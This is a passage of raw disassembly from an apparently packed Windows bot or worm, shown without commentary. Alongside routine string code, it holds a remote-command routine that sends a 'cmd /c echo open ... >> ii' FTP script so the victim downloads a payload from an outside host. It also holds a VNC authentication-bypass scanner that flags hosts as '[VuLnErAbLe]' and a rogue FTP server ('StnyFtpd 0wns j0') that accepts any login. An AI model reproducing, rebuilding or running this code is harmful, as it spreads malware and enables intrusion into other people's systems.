		jnz	short loc_4025CB
		dec	al
		push	edx
		mov	[ecx-1], al


loc_402585:				; CODE XREF: sub_402555+47j
		mov	ecx, esi
		call	sub_4025DA


loc_40258C:				; CODE XREF: sub_402555+4Bj
					; sub_402555+52j
		xor	al, al
		jmp	short loc_4025D5
; ---------------------------------------------------------------------------


loc_402590:				; CODE XREF: sub_402555+19j
					; sub_402555+20j ...
		cmp	edi, edx
		jnz	short loc_4025A9
		cmp	[esp+8+arg_4], dl
		jz	short loc_40259E
		push	1
		jmp	short loc_402585
; ---------------------------------------------------------------------------


loc_40259E:				; CODE XREF: sub_402555+43j
		cmp	ecx, edx
		jz	short loc_40258C
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_40258C
; ---------------------------------------------------------------------------


loc_4025A9:				; CODE XREF: sub_402555+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_4025C6
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_4025BB
		cmp	eax, edi
		jnb	short loc_4025D3


loc_4025BB:				; CODE XREF: sub_402555+60j
		push	1
		mov	ecx, esi
		call	sub_4025DA
		jmp	short loc_4025CB
; ---------------------------------------------------------------------------


loc_4025C6:				; CODE XREF: sub_402555+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_4025D3


loc_4025CB:				; CODE XREF: sub_402555+28j
					; sub_402555+6Fj
		push	edi
		mov	ecx, esi
		call	sub_4026B2


loc_4025D3:				; CODE XREF: sub_402555+64j
					; sub_402555+74j
		mov	al, 1


loc_4025D5:				; CODE XREF: sub_402555+39j
		pop	edi
		pop	esi
		retn	8
sub_402555	endp


; =============== S U B	R O U T	I N E =======================================



sub_4025DA	proc near		; CODE XREF: sub_401FA5+1Fp
					; sub_401FA5+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_402606
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_402606
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_4025FF
		cmp	al, 0FFh
		jz	short loc_4025FF
		dec	al
		mov	[ecx], al
		jmp	short loc_402606
; ---------------------------------------------------------------------------


loc_4025FF:				; CODE XREF: sub_4025DA+19j
					; sub_4025DA+1Dj
		push	ecx
		call	sub_40F46F
		pop	ecx


loc_402606:				; CODE XREF: sub_4025DA+8j
					; sub_4025DA+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_4025DA	endp


; =============== S U B	R O U T	I N E =======================================



sub_402616	proc near		; CODE XREF: .packed:00402336p
					; sub_40276F+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_402555
		test	al, al
		jz	short loc_402644
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_40E940
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_402644:				; CODE XREF: sub_402616+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_402616	endp


; =============== S U B	R O U T	I N E =======================================



sub_40264B	proc near		; CODE XREF: sub_402487+39p
					; sub_402487+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40265E
		call	sub_419853


loc_40265E:				; CODE XREF: sub_40264B+Cj
		mov	ecx, edi
		call	sub_40276F
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_402674
		mov	ebx, eax


loc_402674:				; CODE XREF: sub_40264B+25j
		test	ebx, ebx
		jbe	short loc_4026AA
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_40F480
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_402555
		test	al, al
		jz	short loc_4026AA
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_4026AA:				; CODE XREF: sub_40264B+2Bj
					; sub_40264B+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40264B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4026B2	proc near		; CODE XREF: sub_402555+79p
		mov	eax, offset loc_419C50
		call	sub_40F450
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_4026D8
		mov	edi, [ebp+8]


loc_4026D8:				; CODE XREF: sub_4026B2+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_4026E5
		xor	eax, eax


loc_4026E5:				; CODE XREF: sub_4026B2+2Fj
		push	eax
		call	sub_40F7B5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_402716
; ---------------------------------------------------------------------------


loc_4026F1:				; DATA XREF: .packed:0041AB94o
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_402700
		xor	eax, eax


loc_402700:				; CODE XREF: sub_4026B2+4Aj
		push	eax
		call	sub_40F7B5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_402710
		retn
; ---------------------------------------------------------------------------


loc_402710:				; DATA XREF: sub_4026B2+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_402716:				; CODE XREF: sub_4026B2+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_402734
		cmp	eax, edi
		jbe	short loc_402723
		mov	eax, edi


loc_402723:				; CODE XREF: sub_4026B2+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_40E940
		add	esp, 0Ch


loc_402734:				; CODE XREF: sub_4026B2+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_4025DA
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_402754
		mov	edi, ebx


loc_402754:				; CODE XREF: sub_4026B2+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_4026B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40276F	proc near		; CODE XREF: sub_40264B+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40279C
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40279C
		cmp	al, 0FFh
		jz	short loc_40279C
		push	1
		call	sub_4025DA
		push	esi
		call	sub_40E730
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_402616


loc_40279C:				; CODE XREF: sub_40276F+9j
					; sub_40276F+10j ...
		pop	edi
		pop	esi
		retn
sub_40276F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40279F	proc near		; DATA XREF: .packed:0041C004o
		test	byte_4BA56C, 1
		jnz	short loc_4027AF
		or	byte_4BA56C, 1


loc_4027AF:				; CODE XREF: sub_40279F+7j
		jmp	$+5
		push	offset nullsub_2
		call	sub_40F830
		pop	ecx
		retn
sub_40279F	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4027C1	proc near		; CODE XREF: .packed:00402940p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_40E800
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_41A1B0	; inet_addr
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	dword_41A1B4	; htons
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_41A1C4	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40288F
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_41A1B8	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40288F
		mov	edi, 400h
		push	esi
		mov	esi, dword_41A1BC
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_41FCA4
		push	eax
		push	eax
		push	dword_424F0C
		push	[ebp+arg_0]
		call	sub_404F3A
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_40E7AB
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_40E730
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_41A1C8	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402893


loc_40288F:				; CODE XREF: sub_4027C1+50j
					; sub_4027C1+62j
		xor	eax, eax
		jmp	short loc_4028AA
; ---------------------------------------------------------------------------


loc_402893:				; CODE XREF: sub_4027C1+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		call	dword_41A1C0	; closesocket
		push	1
		pop	eax


loc_4028AA:				; CODE XREF: sub_4027C1+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4027C1	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+0Ch]
		push	edi
		push	eax
		mov	word ptr [ebp-10h], 2
		call	dword_427354	; inet_addr
		push	dword ptr [ebp+0A8h]
		mov	[ebp-0Ch], eax
		call	dword_427314	; htons
		push	6
		push	1
		push	2
		mov	[ebp-0Eh], ax
		call	dword_41A1C4	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_402921
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	esi
		call	dword_41A1B8	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402902
		push	esi
		jmp	short loc_40291B
; ---------------------------------------------------------------------------


loc_402902:				; CODE XREF: .packed:004028FDj
		push	0
		push	1213h
		push	offset dword_41CBAC
		push	esi
		call	dword_41A1C8	; send
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_402925


loc_40291B:				; CODE XREF: .packed:00402900j
		call	dword_41A1C0	; closesocket


loc_402921:				; CODE XREF: .packed:004028EBj
		xor	eax, eax
		jmp	short loc_402967
; ---------------------------------------------------------------------------


loc_402925:				; CODE XREF: .packed:00402919j
		call	dword_41A1C0	; closesocket
		push	216Bh
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4027C1
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_402964
		mov	eax, [ebp+0B0h]
		imul	eax, 38h
		inc	dword_41E100[eax]
		lea	eax, dword_41E100[eax]


loc_402964:				; CODE XREF: .packed:0040294Dj
		push	1
		pop	eax


loc_402967:				; CODE XREF: .packed:00402923j
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40296B	proc near		; CODE XREF: .packed:00402A59p
					; .packed:00402ABBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		xor	esi, esi


loc_402973:				; CODE XREF: sub_40296B+2Dj
		test	edi, edi
		jle	short loc_40299E
		mov	eax, [esp+8+arg_4]
		push	0
		add	eax, esi
		push	edi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_42732C	; recv
		test	eax, eax
		jz	short loc_40299A
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40299A
		sub	edi, eax
		add	esi, eax
		jmp	short loc_402973
; ---------------------------------------------------------------------------


loc_40299A:				; CODE XREF: sub_40296B+22j
					; sub_40296B+27j
		xor	eax, eax
		jmp	short loc_4029A1
; ---------------------------------------------------------------------------


loc_40299E:				; CODE XREF: sub_40296B+Aj
		push	1
		pop	eax


loc_4029A1:				; CODE XREF: sub_40296B+31j
		pop	edi
		pop	esi
		retn
sub_40296B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4029A4	proc near		; CODE XREF: .packed:00402AA5p
					; .packed:00402AD2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_4029E1
		xor	esi, esi
		test	edi, edi
		jle	short loc_4029DB


loc_4029B4:				; CODE XREF: sub_4029A4+35j
		mov	eax, edi
		push	0
		sub	eax, esi
		push	eax
		mov	eax, [esp+10h+arg_4]
		add	eax, esi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_427364	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4029E1
		test	eax, eax
		jz	short loc_4029E1
		add	esi, eax
		cmp	esi, edi
		jl	short loc_4029B4


loc_4029DB:				; CODE XREF: sub_4029A4+Ej
		push	1
		pop	eax


loc_4029DE:				; CODE XREF: sub_4029A4+3Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4029E1:				; CODE XREF: sub_4029A4+8j
					; sub_4029A4+2Bj ...
		xor	eax, eax
		jmp	short loc_4029DE
sub_4029A4	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		push	ebx
		mov	ax, word_41DE64
		push	esi
		push	edi
		push	0
		push	1
		push	2
		mov	[ebp-2], ax
		pop	esi
		push	esi
		call	dword_427394	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_402A13
		push	eax
		jmp	short loc_402A47
; ---------------------------------------------------------------------------


loc_402A13:				; CODE XREF: .packed:00402A0Ej
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_427354	; inet_addr
		push	dword ptr [ebp+0A8h]
		mov	[ebp-48h], eax
		mov	[ebp-4Ch], si
		call	dword_427314	; htons
		mov	[ebp-4Ah], ax
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4272BC	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402A52
		push	ebx


loc_402A47:				; CODE XREF: .packed:00402A11j
		call	dword_4273AC	; closesocket
		jmp	loc_402C4E
; ---------------------------------------------------------------------------


loc_402A52:				; CODE XREF: .packed:00402A44j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40296B
		add	esp, 0Ch
		test	eax, eax
		jz	loc_402C47
		lea	eax, [ebp-20h]
		and	byte ptr [ebp-2Ch], 0
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-38h]
		push	offset aRfb03d_03d ; "RFB %03d.%03d\n"
		push	eax
		call	sub_40F871
		add	esp, 10h
		cmp	eax, esi
		jnz	loc_402C47
		cmp	dword ptr [ebp-28h], 3
		jz	short loc_402A9E
		cmp	dword ptr [ebp-20h], 8
		jnz	loc_402C47


loc_402A9E:				; CODE XREF: .packed:00402A92j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_4029A4
		add	esp, 0Ch
		test	eax, eax
		jz	loc_402C47
		lea	eax, [ebp-3Ch]
		push	esi
		push	eax
		push	ebx
		call	sub_40296B
		add	esp, 0Ch
		test	eax, eax
		jz	loc_402C47
		lea	eax, [ebp-2]
		push	1
		push	eax
		push	ebx
		call	sub_4029A4
		add	esp, 0Ch
		test	eax, eax
		jz	loc_402C47
		lea	eax, [ebp-24h]
		push	4
		push	eax
		push	ebx
		call	sub_40296B
		add	esp, 0Ch
		test	eax, eax
		jz	loc_402C47
		mov	eax, [ebp-24h]
		mov	edi, 0FF0000h
		mov	ecx, eax
		mov	edx, eax
		and	ecx, edi
		mov	esi, 0FF00h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, esi
		or	edx, eax
		shr	ecx, 8
		shl	edx, 8
		or	ecx, edx
		mov	[ebp-24h], ecx
		jnz	loc_402C47
		push	1
		push	offset dword_424F04
		push	ebx
		call	sub_4029A4
		add	esp, 0Ch
		test	eax, eax
		jz	loc_402C47
		lea	eax, [ebp-1Ch]
		push	18h
		push	eax
		push	ebx
		call	sub_40296B
		add	esp, 0Ch
		test	eax, eax
		jz	loc_402C47
		xor	eax, eax
		mov	ecx, [ebp-8]
		mov	al, [ebp-1Bh]
		mov	edx, ecx
		mov	ah, [ebp-1Ch]
		mov	[ebp-1Ch], ax
		xor	eax, eax
		mov	al, [ebp-19h]
		mov	ah, [ebp-1Ah]
		mov	[ebp-1Ah], ax
		xor	eax, eax
		mov	al, [ebp-13h]
		mov	ah, [ebp-14h]
		mov	[ebp-14h], ax
		xor	eax, eax
		mov	al, [ebp-11h]
		mov	ah, [ebp-12h]
		mov	[ebp-12h], ax
		xor	eax, eax
		mov	al, [ebp-0Fh]
		mov	ah, [ebp-10h]
		mov	[ebp-10h], ax
		mov	eax, ecx
		and	eax, edi
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, esi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp-8], eax
		add	eax, 2
		push	eax
		call	sub_40F7B5
		mov	edi, [ebp-8]
		pop	ecx
		test	edi, edi
		mov	esi, eax
		jle	short loc_402BD6
		push	edi
		push	esi
		push	ebx
		call	sub_40296B
		add	esp, 0Ch


loc_402BD6:				; CODE XREF: .packed:00402BC9j
		and	byte ptr [edi+esi], 0
		lea	eax, [ebp+0Ch]
		push	eax
		push	esi
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp-28h]
		push	offset aVncD_DSSVulner ; "VNC %d.%d %s:	%s - [VuLnErAbLe]"
		push	200h
		push	eax
		call	sub_40E7AB
		push	0
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp+0B8h]
		push	eax
		push	offset aF_0	; "#f"
		push	dword ptr [ebp+8]
		call	sub_4084CC
		lea	eax, [ebp-24Ch]
		push	eax
		call	sub_407A4E
		mov	eax, [ebp+0B0h]
		add	esp, 34h
		imul	eax, 38h
		inc	dword_41E100[eax]
		push	ebx
		lea	eax, dword_41E100[eax]
		call	dword_41A1C0	; closesocket
		push	1
		pop	eax
		jmp	short loc_402C50
; ---------------------------------------------------------------------------


loc_402C47:				; CODE XREF: .packed:00402A63j
					; .packed:00402A88j ...
		push	ebx
		call	dword_41A1C0	; closesocket


loc_402C4E:				; CODE XREF: .packed:00402A4Dj
		xor	eax, eax


loc_402C50:				; CODE XREF: .packed:00402C45j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402C55	proc near		; DATA XREF: sub_4034A7+124o

var_A6C		= byte ptr -0A6Ch
var_8DC		= byte ptr -8DCh
var_6DC		= dword	ptr -6DCh
var_4C8		= dword	ptr -4C8h
var_4C4		= byte ptr -4C4h
var_444		= dword	ptr -444h
var_438		= dword	ptr -438h
var_334		= byte ptr -334h
var_2D0		= byte ptr -2D0h
var_29C		= byte ptr -29Ch
var_238		= byte ptr -238h
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_124		= byte ptr -124h
var_F8		= byte ptr -0F8h
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_48		= byte ptr -48h
var_38		= word ptr -38h
var_36		= word ptr -36h
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A6Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	1
		mov	ecx, 0A9h
		mov	esi, eax
		lea	edi, [ebp+var_6DC]
		pop	ebx
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp+var_A6C]
		xor	edi, edi
		push	eax
		push	101h
		mov	[ebp+var_28], ebx
		mov	[ebp+var_18], ebx
		mov	[ebp+var_228], edi
		mov	[ebp+var_438], edi
		call	dword_41A198	; WSAStartup
		mov	eax, [ebp+var_4C8]
		push	edi
		push	ebx
		push	2
		mov	dword_424F0C, eax
		call	dword_41A1C4	; socket
		mov	esi, eax
		lea	eax, [ebp+var_28]
		push	4
		push	eax
		push	4
		push	0FFFFh
		push	esi
		mov	[ebp+var_C], esi
		call	dword_41A19C	; setsockopt
		lea	eax, [ebp+var_18]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_41A1A0	; ioctlsocket
		mov	ax, word ptr dword_424F0C
		mov	[ebp+var_38], 2
		push	eax
		mov	[ebp+var_34], edi
		call	dword_41A1B4	; htons
		mov	[ebp+var_36], ax
		lea	eax, [ebp+var_38]
		push	10h
		push	eax
		push	esi
		call	dword_41A1A4	; bind
		test	eax, eax
		jge	short loc_402D12
		mov	eax, ebx
		jmp	loc_403227
; ---------------------------------------------------------------------------


loc_402D12:				; CODE XREF: sub_402C55+B4j
		push	0Ah
		push	esi
		call	dword_41A1A8	; listen
		mov	[ebp+var_228], ebx
		mov	ebx, dword_41A1C8
		mov	[ebp+var_224], esi
		mov	[ebp+var_4], esi


loc_402D30:				; CODE XREF: sub_402C55+112j
					; sub_402C55+5CAj
		push	41h
		lea	esi, [ebp+var_228]
		pop	ecx
		lea	edi, [ebp+var_438]
		rep movsd
		xor	edi, edi
		lea	eax, [ebp+var_438]
		push	edi
		push	edi
		push	edi
		push	eax
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	dword_41A1CC	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_403224
		cmp	[ebp+var_4], edi
		mov	[ebp+arg_0], edi
		jl	short loc_402D30


loc_402D69:				; CODE XREF: sub_402C55+5C4j
		xor	esi, esi
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_40E800
		push	64h
		lea	eax, [ebp+var_AC]
		push	esi
		push	eax
		call	sub_40E800
		add	esp, 18h
		lea	eax, [ebp+var_438]
		push	eax
		push	edi
		call	sub_419A30	; __WSAFDIsSet
		test	eax, eax
		jz	loc_403212
		cmp	edi, [ebp+var_C]
		jnz	loc_402E2C
		lea	eax, [ebp+var_24]
		mov	[ebp+var_24], 10h
		push	eax
		lea	eax, [ebp+var_238]
		push	eax
		push	[ebp+var_C]
		call	dword_41A1AC	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_403212
		xor	ecx, ecx
		cmp	[ebp+var_228], esi
		jbe	short loc_402DF6
		lea	edx, [ebp+var_224]
		jmp	short loc_402DE3
; ---------------------------------------------------------------------------


loc_402DE0:				; CODE XREF: sub_402C55+19Fj
		mov	edx, [ebp+arg_0]


loc_402DE3:				; CODE XREF: sub_402C55+189j
		cmp	[edx], eax
		jz	short loc_402DF6
		inc	ecx
		add	edx, 4
		cmp	ecx, [ebp+var_228]
		mov	[ebp+arg_0], edx
		jb	short loc_402DE0


loc_402DF6:				; CODE XREF: sub_402C55+181j
					; sub_402C55+190j
		cmp	ecx, [ebp+var_228]
		jnz	short loc_402E14
		cmp	[ebp+var_228], 40h
		jnb	short loc_402E14
		mov	[ebp+ecx*4+var_224], eax
		inc	[ebp+var_228]


loc_402E14:				; CODE XREF: sub_402C55+1A7j
					; sub_402C55+1B0j
		cmp	eax, [ebp+var_4]
		jle	short loc_402E1C
		mov	[ebp+var_4], eax


loc_402E1C:				; CODE XREF: sub_402C55+1C2j
		push	esi
		push	15h
		push	offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n"
		push	eax
		call	ebx	; send
		jmp	loc_403212
; ---------------------------------------------------------------------------


loc_402E2C:				; CODE XREF: sub_402C55+14Fj
		push	esi
		lea	eax, [ebp+var_29C]
		push	64h
		push	eax
		push	edi
		call	dword_41A1BC	; recv
		test	eax, eax
		jg	short loc_402E93
		mov	edx, [ebp+var_228]
		xor	ecx, ecx
		cmp	edx, esi
		jbe	short loc_402E87
		lea	eax, [ebp+var_224]


loc_402E53:				; CODE XREF: sub_402C55+208j
		cmp	[eax], edi
		jz	short loc_402E61
		inc	ecx
		add	eax, 4
		cmp	ecx, edx
		jb	short loc_402E53
		jmp	short loc_402E87
; ---------------------------------------------------------------------------


loc_402E61:				; CODE XREF: sub_402C55+200j
		dec	edx
		cmp	ecx, edx
		jnb	short loc_402E81
		lea	eax, [ebp+ecx*4+var_224]


loc_402E6D:				; CODE XREF: sub_402C55+22Aj
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	edx, [ebp+var_228]
		add	eax, 4
		dec	edx
		cmp	ecx, edx
		jb	short loc_402E6D


loc_402E81:				; CODE XREF: sub_402C55+20Fj
		dec	[ebp+var_228]


loc_402E87:				; CODE XREF: sub_402C55+1F6j
					; sub_402C55+20Aj
		push	edi
		call	dword_41A1C0	; closesocket
		jmp	loc_403212
; ---------------------------------------------------------------------------


loc_402E93:				; CODE XREF: sub_402C55+1EAj
		lea	eax, [ebp+var_334]
		push	eax
		lea	eax, [ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aSS	; "%s %s"
		push	eax
		call	sub_40F871
		lea	eax, [ebp+var_AC]
		push	offset aUser	; "USER"
		push	eax
		call	sub_40FB80
		add	esp, 18h
		test	eax, eax
		jnz	short loc_402ED7
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_4031FD
; ---------------------------------------------------------------------------


loc_402ED7:				; CODE XREF: sub_402C55+273j
		lea	eax, [ebp+var_AC]
		push	offset aPass	; "PASS"
		push	eax
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EFB
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	loc_4031FD
; ---------------------------------------------------------------------------


loc_402EFB:				; CODE XREF: sub_402C55+297j
		lea	eax, [ebp+var_AC]
		push	offset aSyst	; "SYST"
		push	eax
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F1F
		push	esi
		push	0Dh
		push	offset a215Stnyftpd ; "215 StnyFtpd\n"
		jmp	loc_4031FD
; ---------------------------------------------------------------------------


loc_402F1F:				; CODE XREF: sub_402C55+2BBj
		lea	eax, [ebp+var_AC]
		push	offset aRest	; "REST"
		push	eax
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F43
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	loc_4031FD
; ---------------------------------------------------------------------------


loc_402F43:				; CODE XREF: sub_402C55+2DFj
		lea	eax, [ebp+var_AC]
		push	offset off_41E030
		push	eax
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F67
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
		jmp	loc_4031FD
; ---------------------------------------------------------------------------


loc_402F67:				; CODE XREF: sub_402C55+303j
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FA2
		lea	eax, [ebp+var_334]
		push	offset aA_0	; "A"
		push	eax
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FA2
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_4031FD
; ---------------------------------------------------------------------------


loc_402FA2:				; CODE XREF: sub_402C55+327j
					; sub_402C55+33Ej
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FDD
		lea	eax, [ebp+var_334]
		push	offset aI	; "I"
		push	eax
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FDD
		push	esi
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_4031FD
; ---------------------------------------------------------------------------


loc_402FDD:				; CODE XREF: sub_402C55+362j
					; sub_402C55+379j
		lea	eax, [ebp+var_AC]
		push	offset aPasv	; "PASV"
		push	eax
		call	sub_40FB80
		pop	ecx
		test	eax, eax
		pop	ecx
